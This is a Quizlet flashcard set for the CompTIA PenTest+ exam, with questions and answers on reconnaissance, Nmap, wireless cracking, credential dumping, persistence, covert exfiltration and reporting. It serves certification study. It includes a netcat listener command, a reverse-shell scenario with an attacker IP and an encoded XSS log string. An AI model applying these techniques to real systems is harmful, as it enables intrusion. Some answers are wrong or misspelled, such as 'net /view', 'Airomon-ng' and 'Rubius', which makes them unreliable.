CompTIA PenTest+ (PT0-003) Full Course & Practice Exam

Study online at https://quizlet.com/_gcqru2

Which document should be signed before a penetration test to ensure the client's sensitive information remains confidential? Rules of Engagement (RoE) Non-Disclosure Agreement (NDA) Statement of Work (SOW) Service Level Agreement (SLA)	An NDA is a legal document that ensures any sensitive information accessed by the penetration tester during the engagement remains confidential. RoE defines the testing boundaries and acceptable methods, while the SOW outlines the specific tasks and deliverables. The SLA pertains to service performance and uptime.
Which technique uses detailed information about a company's publicly available systems and services without interacting with them directly?	WHOIS Lookup
Which of the following tools is commonly used to automate exploit development and execution against a vulnerable target system? Hydra John the Ripper Metasploit sqlmap	Metasploit
Which of the following techniques is the best to maintain access to a compromised system after a reboot or if the initial exploit is closed? Clear system logs Schedule a cron job Escalate privileges Use PsExec for lateral movement	Schedule a cron job
In which section of a penetration test report should a non-technical summary of key findings and their business impact be included? Scope and Methodology Findings and Evidence Executive Summary Remediation Recommendations	Executive Summary
Which regulation enforces strict rules on data protection within the EU, including requirements like obtaining permission for data processing and performing data impact assessments?	GDPR
Why is it important for penetration testers to understand and operate within regulations such as GDPR and GLBA?	To ensure legal compliance and protect sensitive data
Which type of assessment focuses on evaluating the security of wireless networks, identifying vulnerabilities like weak encryption and rogue access points?	Wireless assessment
What term describes specific areas or elements that are off-limits during a penetration test, often to avoid business disruption or exposing sensitive data?	Exclusions
In the Shared Responsibility Model, which party is responsible for securing the operating system and applications in a cloud environment?	Customer
Which of the following categories in the MITRE ATT&CK framework focuses on techniques used to maintain access in a target system?	Persistence
Which of the following OWASP Top 10 vulnerabilities involves improper enforcement of user permissions, allowing unauthorized individuals from seeing data or altering functionality?	Broken Access Control
Which control group in the OWASP MASVS ensures the security of data in transit and at rest using cryptographic methods?	MASVS-CRYPTO
Which phase of the PTES framework involves gaining knowledge about the target system using both passive and active techniques?	Information Gathering
Which STRIDE element involves exploiting weaknesses in a system's authentication process to assume another user's identity?	Spoofing

Which tool or method best allows testers to retrieve old versions of websites to gather potentially sensitive information that may have been removed from a current site?	Wayback Machine
Which tool is commonly used to analyze captured network packets and filter them based on protocols, IP addresses, and port numbers?	Wireshark
Which technique involves sending requests to open ports to retrieve information about the software and version running on the system?	Banner Grabbing
Which Nmap scan type is commonly referred to as a "half-open" scan because it does not complete the TCP handshake?	SYN Scan
Which tool or method allows testers to collect data from a website's markup code and potentially uncover sensitive details such as server types or internal names?	HTML Scraping
Which of the following is the BEST reason why job boards like Indeed or Glassdoor are valuable for penetration testers during OSINT?	The BEST reason is that job boards list roles, required skills, and technologies in use, which gives direct insight into the organization's infrastructure, aiding in targeting specific vulnerabilities.
Which of the following is a common cause of information disclosure, often revealing sensitive details such as database dumps or server file paths? Error messages DNS misconfiguration Password spraying Social engineering	Error messages
What command in Linux is used to perform DNS lookups to retrieve information about a domain's IP addresses? nslookup dig ping traceroute	dig
What role do Certificate Transparency logs play in enhancing digital certificate security?	Detect rogue certificates
Which search engine operator restricts results to a specific website or domain?	site
Which transport layer protocol is faster but less reliable than TCP and is often used to identify potential denial-of-service vulnerabilities?	UDP
Which type of DNS query attempts to replicate DNS records between DNS servers?	Zone transfer
Which tool is commonly used for directory enumeration by brute-forcing possible URLs to uncover hidden directories on a web server?	DirBuster
What command is used in Windows environments to display a list of shared resources on a local network?	net /view
Which Linux file contains a list of all user accounts and their hashed passwords?	/etc/shadow
Which tool is primarily used to gather email addresses, subdomains, and IP addresses from public sources during the reconnaissance phase?	theHarvester
Which tool provides a graphical interface to map relationships between domains, email addresses, and IP addresses?	Maltego
Which of the following command examples can be used to perform a reverse DNS lookup in dig?	dig -x 8.8.8.8
Which command saves the captured network packets to a file for later analysis using tcpdump?	tcpdump -w capture.pcap

Which tool is used for capturing and attempting to gain access to the WPA/WPA2 keys during wireless network testing? Aircrack-ng WiGLE InSSIDer Censys	Aircrack-ng
Which flag in Nmap is used to perform a host discovery scan without conducting a full port scan?	-sn
What does it mean when Nmap reports a port as "filtered"?	The port is blocked by a firewall or other network device
What is the purpose of the -A option in Nmap?	The -A option in Nmap is used for aggressive scanning, which includes operating system detection, version detection, and more detailed service fingerprinting. The -sS performs a half-open SYN scan, the -sU performs a UDP scan, and evading firewalls with a stealth scan requires specific flags like -sS, not -A.
Which Nmap flag is used for a TCP SYN ping, useful when ICMP packets are blocked?	-PS
Which Nmap scan type involves sending a packet with the FIN, PSH, and URG flags all set?	Xmas scan
In Bash scripting, what does the echo command do?	Prints text to the screen
Which of the following scripting languages is commonly used for Windows system administration?	PowerShell
Which command in Bash is used to search through a file for a specific pattern of text?	grep
What is WMIC used for in Windows systems?	WMIC (Windows Management Instrumentation Command) is used to review log files on a remote Windows machine, particularly useful for system administration and monitoring.
What is the output of the following pseudocode if the value of minutes is 90? IF minutes > 120 THEN OUTPUT "You have studied for 2 hours." ELSE IF minutes > 60 THEN OUTPUT "You should continue to study for another hour." ELSE OUTPUT "You need to study for at least 2 hours today." ENDIF	You should continue to study for another hour
Which symbol is used to signify a variable in Bash when retrieving its value?	$
What does the following Bash script primarily check, and what happens if the condition is met? if ["$1" == ""] then echo "Usage: $0 <network-prefix>" echo "Example: $0 192.168.1" exit 1 fi	The script checks if the first argument is empty. If true, it prints usage instructions and exits with an error code.
Which command in PowerShell is used to display output on the screen?	Write-Host
Which of the following is a correct Python import statement?	import urllib2
What is the purpose of this code snippet? grabber = urllib2.build_opener() grabber.addheaders = [('User-agent', 'Mozilla/5.0')] public_ip_address = grabber.open(target_url).read() To set up a web browser and browse a website To retrieve the content from a target URL with a custom User-agent To establish a secure connection to a server To open a local file and read its contents	The snippet creates a web opener with a custom "User-agent" header (Mozilla/5.0) and retrieves the content from the specified target URL.
What is a false negative?	A false negative occurs when a vulnerability exists, but the penetration test fails to detect it, potentially leaving the system vulnerable without the tester's knowledge.
Why is it important to validate scan results during a penetration test?	Validating scan results ensures that the findings from automated tools are accurate, helping to confirm true positives and avoid false positives or false negatives.
What does CVE stand for in the context of vulnerability management?	Common Vulnerabilities and Exposures

What is the primary purpose of the Exploit Prediction Scoring System (EPSS)?	EPSS is used to predict the likelihood of a vulnerability being exploited based on real-world data, helping prioritize which vulnerabilities should be addressed first.
What is the primary purpose of documenting the attack path in a penetration test?	To provide a clear record of what was done
Which of the following best describes Dynamic Application Security Testing (DAST)?	DAST tests running applications for vulnerabilities without needing source code. Codebase testing is done by IAST or SAST, while third-party libraries are covered by SCA. DAST is automated, not manual.
What is the primary focus of Software Composition Analysis (SCA)?	SCA identifies vulnerabilities in open-source components and ensures license compliance. SAST analyzes source code, DAST and IAST perform runtime analysis, and encryption review is not SCA's focus.
What is the primary characteristic of a SYN scan?	It is a stealthy method of identifying open ports
What is the main purpose of port mirroring in ICS vulnerability scanning?	To monitor network traffic without disrupting operations
What is the primary focus of SSID scanning in wireless networks?	To detect and list rogue access points
What is the primary purpose of Nikto as a web application vulnerability scanner?	Nikto scans web applications for vulnerabilities by analyzing HTTP responses. It doesn't focus on servers or routers, identify malware on host file systems, or perform manual penetration testing tasks.
Which of the following best describes a key feature of OpenVAS?	OpenVAS performs network vulnerability scanning with both credentialed and uncredentialed scans. It doesn't focus solely on web vulnerabilities, Active Directory services, or malware detection.
Which environments can Trivy scan for vulnerabilities?	Trivy scans filesystems, containers, and repositories for vulnerabilities. It is not limited to Docker, Kubernetes, or operating systems.
What is the main function of BloodHound?	Visualizing attack paths in Active Directory
What is the primary use of TruffleHog in security assessments?	TruffleHog detects sensitive information like API keys and passwords in Git repositories. It doesn't scan for open ports, perform brute-force attacks, or focus on malware detection.
What is one of the main functions of the Social Engineering Toolkit (SET)?	The Social Engineering Toolkit (SET) clones websites to collect credentials through phishing. It doesn't scan networks, generate encryption keys, or bypass firewalls.
What is Gophish primarily used for in penetration testing?	Gophish is used for simulating phishing attacks to test security awareness. It doesn't perform network scans, detect malware, or crack passwords.
Which type of attack commonly involves pretending to be someone with legitimate business to gain unauthorized access?	Impersonation involves pretending to be someone else to gain unauthorized access. Tailgating is following someone, piggybacking involves consent, and eavesdropping is listening to conversations.
What is the goal of a watering hole attack?	Watering hole attacks compromise commonly visited websites to infect targets with malware. It's unrelated to proxies, phishing, or USB attacks.
What is the primary function of the Browser Exploitation Framework (BeEF)?	BeEF exploits web browser vulnerabilities to control browser sessions. It doesn't scan for malware, bypass firewalls, or encrypt traffic.
Which of the following uses SAE for password-based authentication?	WPA3
Which tool allows penetration testers to map wireless networks and visualize available Wi-Fi signals during wardriving?	WIGLE.net
What is the primary purpose of a deauthentication attack in wireless network penetration testing?	Deauthentication attacks forcibly disconnect clients from a network, capturing their WPA handshake during reconnection, which is essential for cracking WPA/WPA2 encryption.

Which tool is used to place a wireless card into monitor mode for capturing traffic during a wireless network attack?	Airomon-ng
What tool can be used to create a fake Wi-Fi access point for an Evil Twin attack?	Wi-Fi Pumpkin
What tool is used for crafting custom network packets to test network defenses?	Impacket
Which command would set up a Netcat listener on port 4444?	The command nc -l -p 4444 sets up a listener using Netcat on port 4444, which can then receive connections from an attacker or target.
What is the main difference between a bind shell and a reverse shell?	A bind shell opens a listening port on the victim's machine, while a reverse shell causes the victim to connect back to the attacker's machine.
Which tool is used to exploit LLMNR/NBT-NS vulnerabilities?	Responder
Which tool in Metasploit is used to generate payloads?	msfvenom
What tool is commonly used to extract and pass hashes during Pass-the-Hash attacks?	Mimikatz
Which tool can automate credential validation, user enumeration, and command execution in post-exploitation scenarios?	CrackMapExec
In a SAML token manipulation attack, what is the attacker attempting to do?	In a SAML token manipulation attack, the attacker alters the contents of a SAML token to escalate privileges or bypass authentication. This differs from replay attacks, SSL stripping, or injection attacks, which target other aspects of the security process rather than manipulating token data directly.
What is a primary defense against ID token replay attacks in OIDC?	Implementing nonces and setting short token lifetimes help prevent replay attacks by ensuring tokens can't be reused. MD5 hashing weakens security, storing tokens in plain text is insecure, and disabling HTTPS exposes data, increasing vulnerabilities.
What is the purpose of salting a password before hashing?	Salting ensures identical passwords produce unique hash values, preventing attackers from easily using rainbow tables. It doesn't increase password length, make cracking easier, or aid in password recovery.
Which tool is used to extract plaintext passwords from the Local Security Authority Subsystem Service (LSASS)?	Mimikatz
Which tool allows you to execute commands on remote systems if an endpoint is misconfigured?	PsExec
Which misconfiguration can lead to privilege escalation by allowing malicious executables to be run from unexpected file locations? Unquoted service paths Weak passwords Open ports Misconfigured firewalls	Unquoted service paths
Which tool can be used to manipulate Kerberos tickets to gain unauthorized access to a domain?	Rubius
What does the term "Living off the Land" refer to in penetration testing?	Living off the Land refers to using pre-installed system tools for attacks, making it the correct answer. Exploiting wireless networks is unrelated, hiding payloads in encrypted tunnels refers to obfuscation, and custom malware contrasts with the idea of using existing tools.
What type of vulnerability occurs when the outcome of a process is dependent on the timing of events? Race condition Buffer overflow SQL injection Cross-site scripting	race condition

What attack occurs when data is stored outside the allocated memory space? Buffer overflow Integer overflow Memory leak Cross-site scripting	Buffer Overflow
Which error message could leak the most sensitive information to attackers?	"Error: incorrect password" is the correct answer because it informs an attacker that the username is valid, which can lead to password brute-forcing. The other options provide neutral information.
Which HTTP header is used to protect against clickjacking?	X-Frame-Options
What does Software Composition Analysis (SCA) help identify?	Vulnerabilities in third-party components
What is the primary objective of a directory traversal attack? Gain access to unauthorized directories and files Inject SQL commands into a database Execute arbitrary code on the server Modify user sessions to gain admin privileges	A directory traversal attack allows an attacker to navigate out of the web document root directory to access sensitive files, such as system configuration files or password hashes.
Which tool is best known for its speed in brute-forcing hidden directories and files on a web server?	Gobuster
What is the main goal of a Cross-Site Scripting (XSS) attack?	Cross-Site Scripting (XSS) attacks aim to inject malicious scripts into web pages, which are then executed in the user's browser without proper validation.
Which of the following attacks tricks a user into making unintended query to a server on which they are authenticated?	Cross-Site Request Forgery
Which of the following attacks involves accessing files on a host server and potentially infecting them with malicious code?	Local File Inclusion
Which of the following is a common example of an IAM misconfiguration?	Overly permissive policies allowing excess access
What security risk can arise from poorly segmented networks?	Easier lateral movement for attackers
Which of the following is the greatest risk associated with using a tampered container image?	Introduction of security vulnerabilities
What is the most common method attackers use to compromise systems in a supply chain attack?	Compromising a trusted vendor
Which of the following best describes container escape? Exploiting a vulnerability in the host OS Accessing the host system from the container Modifying the Dockerfile Overloading the container with traffic from another container	Accessing the host system from container
What is the biggest security risk of jailbreaking or rooting a mobile device?	Removing vendor security protections
Which of the following is primarily used for dynamic analysis and hooking into running applications to inspect and manipulate data during mobile penetration testing? MobSF Frida Drozer ADB	Frida
Which tool allows penetration testers to communicate with Android devices via a command-line interface for tasks such as installing apps and accessing the file system?	ADB
What is the key difference between Bluejacking and Bluetooth spamming?	Bluejacking involves sending unsolicited messages to nearby Bluetooth devices. Bluetooth spamming is a more intrusive method involving repeated messages or malicious files. Overloading a device is related to spamming, and Bluetooth doesn't need to be disabled to receive these attacks.

Which of the following best describes prompt injection?	Prompt injection involves manipulating AI inputs (prompts) to cause unintended actions or outputs. Altering training data or model parameters refers to model manipulation, not prompt injection, and AI authentication bypassing isn't directly tied to this attack type.
Which tool helps simulate malware-like attacks to improve network security?	Infection Monkey
Which of the following tools automates breach and attack simulations based on the MITRE ATT&CK framework? Caldera PowerView Infection Monkey Scapy	Caldera
Which of the following best describes the primary use of PowerView in an Active Directory environment? To disable user accounts in an Active Directory domain To map out users, groups, and computers in an Active Directory domain To execute privilege escalation exploits in an Active Directory domain To establish persistence in Windows environments, especially in an Active Directory domain	To map out users, groups, and computers in an Active Directory domain
Which of the following best describes the use case of Scapy?	Scapy is primarily used for crafting and manipulating network packets. It's not used for detecting SQL injection, bypassing firewalls, or testing password policies.
Which tool is best known for its ability to simplify the simulation of individual attack techniques from the MITRE ATT&CK framework?	Atomic Red Team
What is the primary purpose of creating scheduled tasks or cron jobs for persistence?	Scheduled tasks and cron jobs automate the execution of payloads at specific intervals, maintaining persistence. They don't disable firewalls, elevate privileges, or encrypt files for ransom.
Which of the following tools or techniques allows the target machine to initiate a connection back to the attacker for remote access?	Reverse Shell
Which of the following best describes rootkits?	Rootkits are designed to hide the presence of malware from detection tools. They typically do not disable user accounts, create backups, or crash systems through traffic overloads.
Which of the following describes the main function of a Remote Access Trojan (RAT)? Encrypt files for ransomware attacks and other exploits Provide ongoing control of a compromised system Flood the network with traffic in an effort to create a DDoS attack Scan for open ports	A RAT provides the attacker with ongoing control of a compromised system. It does not encrypt files for ransom, flood networks, or scan for open ports.
Which of the following best describes how attackers typically use credential dumping? To delete user accounts from the system To encrypt system data To extract passwords from memory To disable system firewalls	Credential dumping extracts passwords and authentication tokens from memory. It doesn't delete accounts, encrypt data, or disable firewalls.
What does Proxychains4 do when combined with Tor?	Proxychains4, when combined with Tor, routes internet traffic through the Tor network, providing anonymization. It does not directly capture credentials, encrypt all communications, or disable firewalls.
Which tool is commonly used for service discovery in a network? Metasploit Nmap Wireshark Responder	Nmap

Why is Telnet considered vulnerable? It requires complex encryption keys to be shared It provides unauthorized access to web applications It only allows administrators to connect remotely	It transmits data, including credentials, in cleartext
Which protocol provides a secure method for remote command-line access?	SSH
Which of the following tools allows penetration testers to route network traffic through a remote server, enabling access to internal resources as if physically connected?	sshuttle
What is the primary use of steganography in penetration testing?	Steganography is used to hide data within non-secret files like images or videos. It doesn't encrypt data or use DNS or ICMP for covert communication.
How can DNS be exploited for covert data exfiltration?	Attackers can embed sensitive data within subdomain names of DNS queries, making it appear as regular DNS traffic while exfiltrating data.
Which of the following best describes how ICMP can be used in a covert channel for data exfiltration?	ICMP can be used to hide data within the payloads of ICMP Echo Request and Echo Reply packets, allowing attackers to exfiltrate data covertly.
Why is HTTPS effective for creating covert channels in penetration testing?	HTTPS traffic is encrypted, which makes it difficult for security tools to inspect the contents of the communication, providing a covert channel for attackers.
What makes steganography different from encryption when used as a covert channel?	Steganography hides data within other files (like images or audio) without changing their appearance or size significantly, whereas encryption focuses on securing data through cryptographic methods. Question 5:
Which of the following is a method for removing a malicious scheduled task on a Windows system? By using the command schtasks /delete By deleting the system registry By running sc stop EventLog By uninstalling antivirus software	The command schtasks /delete can be used to remove a scheduled task from a Windows system. Deleting the system registry is unrelated to scheduled tasks, and the other options are unrelated to removing persistence mechanisms.
How should domain accounts created during a penetration test be properly removed?	By deleting the account from the domain controller
Which Windows registry keys are commonly used by attackers to maintain persistence after system reboot? HKEY_LOCAL_MACHINE and HKEY_CLASSES_ROOT HKEY_CURRENT_USER and HKEY_LOCAL_MACHINE HKEY_USERS and HKEY_CURRENT_CONFIG HKEY_PERFORMANCE_DATA and HKEY_CURRENT_USER	Attackers often use the HKEY_LOCAL_MACHINE (HKLM) and HKEY_CURRENT_USER (HKCU) registry keys to add entries that execute malicious software upon system startup, helping them maintain persistence.
Which of the following is a best practice when preserving artifacts from a penetration test?	Encrypting and storing data collected
Which of the following is the most effective way to securely delete sensitive data from an SSD?	For SSDs, using the built-in secure erase command is the most effective way to ensure complete data destruction, as SSDs handle data storage differently from HDDs. Shredding is less effective on SSDs due to wear leveling.
Which of the following is the most effective way to reduce a system's attack surface during system hardening?	Disable unnecessary services
What is the primary benefit of using parameterized queries over dynamic SQL queries?	Parameterized queries prevent SQL injection attacks by ensuring that user input is treated as data, not as executable code. While they may improve security, they are not primarily used to increase performance, allow more complex data input, or simplify debugging.
What is the main purpose of network segmentation in an organization's network?	

	Network segmentation is used to isolate sensitive systems and limit the spread of malware. It also restricts access to critical resources, helping protect against potential security breaches.
Why is multifactor authentication (MFA) considered a strong security control?	MFA enhances security by requiring multiple independent forms of verification (e.g., something you know, something you have, and something you are). It does not simplify authentication or eliminate the need for passwords.
Which encryption standard is commonly used for securing wireless networks?	AES (Advanced Encryption Standard) is widely used for securing wireless networks, including WPA2 and WPA3 protocols. RSA is used for public-key encryption, while MD5 and SHA-1 are outdated hashing algorithms.
What is the primary goal of the executive summary in a penetration test report?	The executive summary is designed to provide a high-level, concise overview of the penetration test, its findings, and their implications. It's aimed at non-technical stakeholders to give them a clear understanding of the overall security posture.
Why is root cause analysis important in a penetration test report?	Root cause analysis is essential because it identifies the underlying issues, such as poor software development practices or outdated protocols, that led to the discovered vulnerabilities. This helps organizations prevent similar issues in the future.
What is the main purpose of the Detailed Findings section in a penetration test report?	The Detailed Findings section provides specific vulnerabilities discovered during the penetration test, including technical details, risk levels, and whether they were exploitable, giving IT personnel the necessary information to address them.
What does the CVSS (Common Vulnerability Scoring System) primarily help within a penetration test report? It identifies the number of users affected by a vulnerability It measures the financial cost of a vulnerability It details the timeline for fixing vulnerabilities It helps prioritize the severity of vulnerabilities	CVSS helps to evaluate and assign a standardized severity score to vulnerabilities, aiding in prioritizing which issues require immediate attention based on factors like exploitability and impact.
Why is it important to include limitations and assumptions in a penetration test report?	Including limitations and assumptions helps set realistic expectations by clarifying the scope, time, and resource constraints of the test, and explaining what might not have been covered.
A penetration tester is asked to assess the security of a web application by identifying vulnerabilities that only appear when the application is running. The tester needs a method that simulates attacks without requiring access to the source code. Which testing approach should the tester use?	OBJ 3.1 - Dynamic Application Security Testing (DAST) is the appropriate approach for identifying vulnerabilities that manifest only during runtime, as it interacts with the running application to simulate attacks. SAST, SCA, and Network Vulnerability Scanning focus on different aspects of security, such as source code analysis, component analysis, and network scanning, respectively. For support or reporting issues, include Question ID: 66e0b350f9dfb4978f1b85b4 in your ticket. Thank you.
Annah is deploying a new application that she received from a vendor, but she is unsure if the hardware is adequate to support a large number of users during peak usage periods. What type of testing could Annah perform to determine if the application will support the required number of users?	Load testing or stress testing puts an application, network, or system under full load conditions to document any performance lapses. User Acceptance Testing is the process of verifying that a created solution/software works for a user. Regression testing is defined as software testing to confirm that a recent program or code change has not adversely affected existing features. Fuzz testing, or fuzzing, is a quality assurance technique used to discover coding errors and security loopholes in software, operating systems, or networks. It involves inputting massive amounts of random data to the test subject to make it crash. User acceptance testing, regression testing, and fuzz testing are not designed to test a system under heavy load conditions. Therefore, they will not be suitable for Annah's needs in this scenario. For support or reporting issues, include Question ID: 63fe10323b7322449ddc3bb9 in your ticket. Thank you.
After scanning a network with Nmap, you decide to validate the enumeration results using a PowerShell script to ensure that all	OBJ 3.2 - The most effective first step is attempting to establish a direct connection to each service on the reported ports. This will confirm that the services listed in the nmap results are accessible. Pinging each IP confirms network availability but

listed services are accessible. Which of the following steps should your script take first?	doesn't validate service accessibility. DNS queries or comparing with patch levels would not verify if the services are actively running . For support or reporting issues, include Question ID: 66e1ed94d554c1ae99f100ab in your ticket. Thank you.
Sam is a penetration tester tasked with evaluating an organization's ability to detect and respond to advanced persistent threats (APTs). He needs a tool that allows him to simulate various attack techniques and tactics used by APT groups to test the organization's defenses. Which tool should Sam use for this purpose?	OBJ 4.10: Caldera is an open-source automated adversary emulation platform that allows penetration testers to simulate APT techniques and tactics to evaluate an organization's detection and response capabilities. Infection Monkey is used for testing the resiliency of networks, Atomic Red Team provides small, discrete tests for specific attack techniques, and Cobalt Strike is a different penetration testing tool. For support or reporting issues, include Question ID: 66d10f270f45d8a219a246b4 in your ticket. Thank you.
Alex is conducting a penetration test of Dion Training's network. Alex wants to establish a reverse shell from the target to his attack workstation. His attack workstation has a netcat listener setup on port 52154 and has a public IP address of 45.58.12.123. Which of the following commands would Alex issue on the target host to create a reverse shell using netcat?	A reverse shell is a shell initiated from the target host back to the attacker's workstation that puts the target into a listening state to capture the shell. A reverse shell is commonly used to avoid detection and bypass firewalls located at the targeted organization. Netcat (nc) is an open-source networking utility for debugging and investigating the network, and that can be used to create TCP/UDP connections and investigate them. It is extremely popular with penetration testers and attackers alike due to its multiple use cases. You should be familiar with setting up a listener and establishing a connection to the listener using netcat. Using the -lp option sets up a listener on the machine using the port specified (52154 in this scenario). To start the connection to the listener, you would enter "nc -e " substituting the details for each parameter in each set of brackets. For support or reporting issues, include Question ID: 63fe10453b7322449ddc3ca9 in your ticket. Thank you.
Which of the following rules of engagement provides a clear enumeration of the tasks to be performed as part of the penetration test?	The timeline of an engagement provides a clear enumeration of the tasks to be performed as part of the penetration test. This is documented in the rules of engagement. This timeline may also include who will perform each task. The timeline does not have to be written to detail the exact day or time of the task but should, at a minimum, provide a logical sequence or order to the engagement. Test boundaries, temporal restrictions, and the location of the team may also be included in the rules of engagement or the scoping documents, but they do not provide a clear enumeration of the tasks to be performed during the penetration test like a timeline does. For support or reporting issues, include Question ID: 63fe0fd23b7322449ddc36ff in your ticket. Thank you.
You are conducting a penetration test on a client's web application. To collect detailed information about the structure and content of the web pages, you decide to perform HTML scraping. Which tool would be most appropriate for this task?	OBJ 2.1 - Burp Suite is a comprehensive web application testing tool that includes functionality for HTML scraping. It can capture and analyze the structure and content of web pages, helping you to understand the web application better. theHarvester is used for gathering email, subdomains, and other data, SQLmap is for SQL injection, and SpiderFoot is an OSINT tool, making them less suitable for HTML scraping. For support or reporting issues, include Question ID: 66e070a84e76b2886a0bdc7e in your ticket. Thank you.
Which of the following phase of a penetration test are not usually conducted by a real attacker?	While a penetration test closely mirrors the same attack process used by a real attacker, the reporting phase is used only by penetration testers. The reporting phase is where the information gathered during testing and analysis is shared with stakeholders. Normally, this includes the vulnerabilities detected, vulnerabilities exploited, sensitive data accessed, length of access maintained, and recommendations for remediation. A penetration tester will conduct four phases in the assessment: planning, discovery, attack, and reporting. An attacker will not conduct reporting. Reconnaissance occurs during the discovery phase while gaining access and covering tracks occurs during the at-

	tack phase. For support or reporting issues, include Question ID: 63fe0fe33b7322449ddc37d7 in your ticket. Thank you.
Zack is trying to crack a password by testing all possible combinations of characters that match a specific pattern, such as starting with a capital letter followed by four digits. Which type of attack is Zack performing?	Explanation: OBJ 4.3 Zack is performing a mask attack, which targets specific patterns in passwords. Password spraying involves testing a small number of passwords across multiple accounts, credential stuffing uses large sets of known credentials, and dictionary attacks attempt to use every word in a predefined list against an account. For support or reporting issues, include Question ID: 66d7d7504b79baa63feefa59 in your ticket. Thank you.
In the context of security, what is the primary goal of a site survey?	OBJ 3.3 - The primary goal of a site survey is to locate weaknesses in physical security and potential entry points. The focus is on understanding physical security aspects, rather than assessing wireless networks, cybersecurity, or documenting network topology, which are separate tasks. For support or reporting issues, include Question ID: 66e0b86ed700020309e586fb in your ticket. Thank you.
You have been contracted to conduct a penetration test on a regional hospital chain to validate their compliance with industry standards. Which of the following should you scan for when performing this compliance-based assessment? (Select TWO)	While all of these may pose valid threats, this scenario is conducting a compliance-based assessment. Since this organization is a hospital, it falls under the health care industry. Health care is regulated in terms of patient privacy and the protection of their records under HIPAA. Therefore, your assessment should prioritize the PHI (personal health information) data being insecurely transmitted over HTTP and the database not properly using data at rest to protect patient data. For support or reporting issues, include Question ID: 63fe0ff13b7322449ddc387c in your ticket. Thank you.
After concluding a penetration test, a tester must remove all credentials created during the test to ensure no unauthorized access remains. What method should the tester use to remove Active Directory (AD) accounts created for testing purposes?	OBJ 5.4 To ensure complete removal, tester-created AD domain accounts must be deleted from the domain controller. Using userdel is appropriate for local accounts on Unix systems. Deleting accounts from the local system does not affect the domain, and merely disabling accounts does not remove them, leaving potential security risks. For support or reporting issues, include Question ID: 66d53d1836457af73842a44b in your ticket. Thank you.
You are conducting a penetration test and need to transfer a large amount of data without being detected. You choose to utilize a common network protocol to disguise your exfiltration traffic. Which protocol would you use to best create this covert channel?	OBJ 5.3: HTTPS is often used to create covert channels for data exfiltration because it encrypts the data, making it difficult to detect and analyze by network monitoring tools. FTP and HTTP do not provide the same level of encryption and are more likely to be flagged by security monitoring systems. DNS can be used for covert channels but is typically for smaller, less frequent data transfers compared to HTTPS. For support or reporting issues, include Question ID: 66cfe4cb8eb4d799e4884a0d in your ticket. Thank you.
A financial institution has migrated its critical operations to a cloud environment and relies on several third-party applications for daily operations. You are brought in to perform a penetration test and find that one of the third-party applications used for transaction processing was compromised during its development phase. The attackers injected malware into the application, which is now able to exfiltrate sensitive financial data to an external server once deployed in the cloud. Which of the following does this best describe?	OBJ 4.6: This scenario illustrates a supply chain attack where attackers compromised the application during its development, resulting in malware being injected. The financial institution should immediately disconnect the compromised application to prevent further data exfiltration and perform a thorough security audit to assess the damage and implement necessary controls. An insider threat involves a malicious insider, which may have been involved; however with the information provided we cannot determine whether this is the case, only that malicious actions were performed. Ransomware involves locking data and demanding a ransom, and SQL injection is a database attack, neither fit this scenario. For support or reporting issues, include Question ID: 66d107310f45d8a219a2467d in your ticket. Thank you.
Robert is the lead engineer at a large security firm who is testing the robustness of their networks. He is doing so by sending	OBJ 4.7: Protocol fuzzing involves sending malformed or unexpected data to a protocol to find vulnerabilities, which matches what Robert is doing. Signal jamming disrupts communication by creating interference. Packet crafting involves creating specific

intentionally malformed packets and unexpected data to test for responses, identifying potential security flaws. What method or process is Robert most likely using?	packets for network testing or exploitation, not the actual exploitation of the network. An on-path attack intercepts and potentially alters communication between two parties. For support or reporting issues, include Question ID: 66d566d575282f41b09d25f3 in your ticket. Thank you.
After successfully completing a penetration test, you identified and exploited a vulnerability that allowed for persistent access to the target system. What is now a necessary step you should take during the cleanup phase?	OBJ 5.4: Removing persistence mechanisms is essential to the cleanup process to ensure that the target system is not left vulnerable to future exploitation. Disabling or modifying the persistence mechanism is not sufficient, as it could still be reactivated or discovered by an attacker. Proper cleanup requires full removal to maintain the security of the system. For support or reporting issues, include Question ID: 66d6ad61018f237d606c0fa1 in your ticket. Thank you.
You are conducting a network-based exploit against a Windows-based network. After running Responder in Kali Linux for about 15 minutes, you see the following output on your screen:	LLMNR exploit
Dion Training conducts weekly vulnerability scanning of their network and patches any identified issues within 24 hours. Which of the following best describes the company's risk response strategy?	Risk mitigation is the overall process of reducing exposure to or the effects of risk factors, such as patching a vulnerable system. Transference (or sharing) means assigning risk to a third party (such as an insurance company or a contract with a supplier that defines liabilities). Avoidance means that the company stops doing an activity that is risk-bearing. Acceptance means that no countermeasures are put in place either because the level of risk does not justify the cost or because there will be an unavoidable delay before the countermeasures are deployed. For support or reporting issues, include Question ID: 63fe108a3b7322449ddc4013 in your ticket. Thank you.
You are modifying a Bash script that reads a list of IP addresses from a file and pings each address to check availability. The current script processes the addresses one by one in a basic manner, but you want to use a loop to handle all the addresses more efficiently. Which type of loop would best handle each line of the file?	OBJ 2.3 - A for loop is ideal here because it works well for going through a defined list of lines (IP addresses). A while loop is better for tasks where the number of items is uncertain, and a do-while loop is not typically suited for reading files in this way. For support or reporting issues, include Question ID: 66df5bc0a329d7dfd8de89b7 in your ticket. Thank you.
You are analyzing the logs of a web server and see the following entry: -=-=-=-=-=--=-=-=-=-=--=-=-=-=-=- 192.168.1.25 - - [05/Aug/2020:15:16:42 -0400] "GET /%27%27;!-%22%3CDION%3E=&{()} HTTP/1.13 404 310 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12)Gecko/2009070812 Ubuntu/19.04 (disco dingo) Firefox/3.0.123 -=-=-=-=-=--=-=-=-=-=--=-=-=-=-=- Based on this entry, which of the following attacks was attempted?	This is an example of an XSS attack as recorded by a web server's log. In this example, the XSS attack was obfuscated by the attacker using HTML encoding. The encoding of %27%27 translates to two single quote marks (' '). While you don't need to be able to decode the exact string used in the logs, when you see HTML encoding on the exam, it is usually going to be an XSS attack unless you see SQL or XML statements in the string, which in this case there are neither of those. Cross-site scripting (XSS) attacks use a specially crafted URL that includes attack code that will cause user information entered into their web browser to be sent to the attacker. An attacker finds a web server vulnerable to XSS and sends a legitimate-looking URL with XSS attack code appended to the end of the URL through a phishing email or other message to trick the user into clicking the link. A buffer overflow attempts to write data to a buffer that overruns the buffer's boundary and writes data into the adjacent memory locations, which is not occurring in this example. For support or reporting issues, include Question ID: 63fe10493b7322449ddc3cdb in your ticket. Thank you.
